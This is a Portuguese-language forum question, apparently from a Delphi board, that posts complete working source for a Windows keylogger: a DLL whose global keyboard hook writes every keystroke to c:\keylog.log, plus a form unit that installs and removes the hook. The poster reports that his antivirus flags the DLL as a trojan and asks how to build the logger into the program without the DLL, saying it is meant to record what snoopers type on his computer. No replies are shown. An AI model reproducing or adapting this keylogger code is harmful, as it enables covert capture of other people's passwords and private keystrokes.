library keylogf;
uses
Windows,
SysUtils;
{$R *.RES}
const
arq:string='c:\keylog.log';
function KeyboardHookProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
b1,b2:Boolean;
ArqLog:TextFile;
tecla:String[255];
begin
if (code <> HC_NOREMOVE)and(lParam<0) then begin
AssignFile(ArqLog,arq);
try
if fileexists(arq) then
Append(ArqLog)
else
ReWrite(ArqLog);
case wParam of
VK_SHIFT, VK_CAPITAL, VK_MENU:begin
//ignore estas teclas
end;
VK_BACK:begin
Write(ArqLog,'[BKSP]');
end;
VK_TAB:begin
Write(ArqLog,'[TAB]');
end;
VK_RETURN:begin
WriteLN(ArqLog,'[ENTER]');
end;
VK_ESCAPE:begin
Write(ArqLog,'[ESC]');
end;
32..64:begin
Write(ArqLog,chr(Byte(wParam)));
end;
65..90:begin// todas as letras
b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado
b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
Write(ArqLog,chr(Byte(wParam+32))) // coloca em minusculo
else
Write(ArqLog,chr(Byte(wParam)));
end;
VK_NUMPAD0..VK_NUMPAD9:begin
Write(ArqLog,chr(Byte(wParam-VK_NUMPAD0+48)));
end;
else begin
tecla:='';
GetKeyNameText(LParam,@tecla[1],254);
Write(ArqLog,'['+tecla+']');
end;
end;
Flush(ArqLog);
finally
CloseFile(ArqLog);
end;
end;
Result := CallNextHookEx(HHOOK(nil), code, wParam, lParam);
end;
exports
KeyboardHookProc;
begin
end.
Meu antivirus diz que a Dll é um Cavalo de Tróia -> Win32-Hooker_F [Trj].
alguém pode me dizer se esse codigo é de algum virus ou a dll pode conter algo mais que o code acima.
Não me lembro onde peguei o code, mas é para pegar o que é digitado em meu pc (por causa de xeretas, aqui tem muitos).
Como posso retirar esse codigo da dll e colocar direto no projeto, sem usar a dll.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Buttons, ComCtrls;
type
TForm1 = class(TForm)
StatusBar1: TStatusBar;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
arquivo : string = 'c:\keylog.log';
var
Form1 : TForm1;
idKeyLog : HHOOK;
KeyLogDLL: LongWord;
KeylogHookProc : FARPROC;
implementation
{$R *.DFM}
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
KeylogDLL:=LoadLibrary('keylogf.dll');
KeylogHookProc:=GetProcAddress(KeylogDLL,'KeyboardHookProc');
idKeylog:=SetWindowsHookEx(WH_KEYBOARD,KeylogHookProc,KeyLogDLL,0);
if idKeyLog <> 0 then
SpeedButton1.Down := true
else
SpeedButton2.Down := true;
end;
procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
if idKeyLog <> 0 then begin
UnhookWindowsHookEx(idKeyLog);
SpeedButton2.Down := true;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
idKeyLog := 0;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
SpeedButton2.Click;
end;
end.
Pergunta
luizf
Olá pessoal, peguei um code na net e fui testar.
Mas, estou tendo problemas com o antivirus.
library keylogf; uses Windows, SysUtils; {$R *.RES} const arq:string='c:\keylog.log'; function KeyboardHookProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall; var b1,b2:Boolean; ArqLog:TextFile; tecla:String[255]; begin if (code <> HC_NOREMOVE)and(lParam<0) then begin AssignFile(ArqLog,arq); try if fileexists(arq) then Append(ArqLog) else ReWrite(ArqLog); case wParam of VK_SHIFT, VK_CAPITAL, VK_MENU:begin //ignore estas teclas end; VK_BACK:begin Write(ArqLog,'[BKSP]'); end; VK_TAB:begin Write(ArqLog,'[TAB]'); end; VK_RETURN:begin WriteLN(ArqLog,'[ENTER]'); end; VK_ESCAPE:begin Write(ArqLog,'[ESC]'); end; 32..64:begin Write(ArqLog,chr(Byte(wParam))); end; 65..90:begin// todas as letras b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock Write(ArqLog,chr(Byte(wParam+32))) // coloca em minusculo else Write(ArqLog,chr(Byte(wParam))); end; VK_NUMPAD0..VK_NUMPAD9:begin Write(ArqLog,chr(Byte(wParam-VK_NUMPAD0+48))); end; else begin tecla:=''; GetKeyNameText(LParam,@tecla[1],254); Write(ArqLog,'['+tecla+']'); end; end; Flush(ArqLog); finally CloseFile(ArqLog); end; end; Result := CallNextHookEx(HHOOK(nil), code, wParam, lParam); end; exports KeyboardHookProc; begin end.Meu antivirus diz que a Dll é um Cavalo de Tróia -> Win32-Hooker_F [Trj]. alguém pode me dizer se esse codigo é de algum virus ou a dll pode conter algo mais que o code acima. Não me lembro onde peguei o code, mas é para pegar o que é digitado em meu pc (por causa de xeretas, aqui tem muitos). Como posso retirar esse codigo da dll e colocar direto no projeto, sem usar a dll.unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Buttons, ComCtrls; type TForm1 = class(TForm) StatusBar1: TStatusBar; SpeedButton1: TSpeedButton; SpeedButton2: TSpeedButton; procedure SpeedButton1Click(Sender: TObject); procedure SpeedButton2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } public { Public declarations } end; const arquivo : string = 'c:\keylog.log'; var Form1 : TForm1; idKeyLog : HHOOK; KeyLogDLL: LongWord; KeylogHookProc : FARPROC; implementation {$R *.DFM} procedure TForm1.SpeedButton1Click(Sender: TObject); begin KeylogDLL:=LoadLibrary('keylogf.dll'); KeylogHookProc:=GetProcAddress(KeylogDLL,'KeyboardHookProc'); idKeylog:=SetWindowsHookEx(WH_KEYBOARD,KeylogHookProc,KeyLogDLL,0); if idKeyLog <> 0 then SpeedButton1.Down := true else SpeedButton2.Down := true; end; procedure TForm1.SpeedButton2Click(Sender: TObject); begin if idKeyLog <> 0 then begin UnhookWindowsHookEx(idKeyLog); SpeedButton2.Down := true; end; end; procedure TForm1.FormCreate(Sender: TObject); begin idKeyLog := 0; end; procedure TForm1.FormDestroy(Sender: TObject); begin SpeedButton2.Click; end; end.T+
Link para o comentário
Compartilhar em outros sites
2 respostass a esta questão
Posts Recomendados
Participe da discussão
Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.